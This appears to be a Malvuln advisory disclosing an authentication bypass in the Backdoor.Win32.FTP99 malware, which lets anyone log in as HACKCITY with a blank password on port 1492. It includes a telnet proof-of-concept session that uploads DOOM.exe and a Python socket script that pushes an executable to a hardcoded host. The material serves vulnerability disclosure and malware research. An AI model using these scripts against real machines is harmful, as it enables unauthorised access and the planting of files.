Backdoor.Win32.FTP99 malware suffers from an authentication bypass vulnerability.
1e88fdedfe58e2a0eb8b026d597d1e0aDiscovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/09dd14d3988e08a56798b1480c55a5b0.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.FTP99
Vulnerability: Authentication Bypass Race Condition
Description: The malware listens on TCP port 1492. Credentials are stored in cleartext in "Serv-u.ini" file under "C:\Program Files (x86)\My Paquet archive" with a blank password. Third-party attackers who can reach the system before a password has been set can logon by just supplying the username "HACKCITY".
"Serv-u.ini"
[USER=hackcity]
Password=
HomeDir=c:\
AlwaysAllowLogin=YES
Type: PE32
MD5: 09dd14d3988e08a56798b1480c55a5b0
Vuln ID: MVID-2022-0465
Dropped files: Windll16.exe
Disclosure: 01/24/2022
Exploit/PoC:
telnet.exe x.x.x.x 1492
220-Serv-U FTP-Server v2.3b for WinSock ready...
220 0wn3d
230 User HACKCITY logged in
HELP
214- The following commands are recognized (* => unimplemented).
USER PORT RETR ALLO DELE SITE XMKD CDUP
PASS PASV STOR REST CWD STAT RMD XCUP
ACCT TYPE APPE RNFR XCWD HELP XRMD STOU
REIN STRU SMNT RNTO LIST NOOP PWD SIZE
QUIT MODE SYST ABOR NLST MKD XPWD MDTM
214 Serv-U, registered to: Data Case
SYST
215 UNIX Type: L8
PASV
227 Entering Passive Mode (192,168,18,129,206,190)
STOR DOOM.exe
150 Opening ASCII mode data connection for DOOM.exe.
STOR DOOM.exe
226 Transfer complete - file DOOM.exe received successfully
from socket import *
MALWARE_HOST="192.168.18.129"
PORT=52926
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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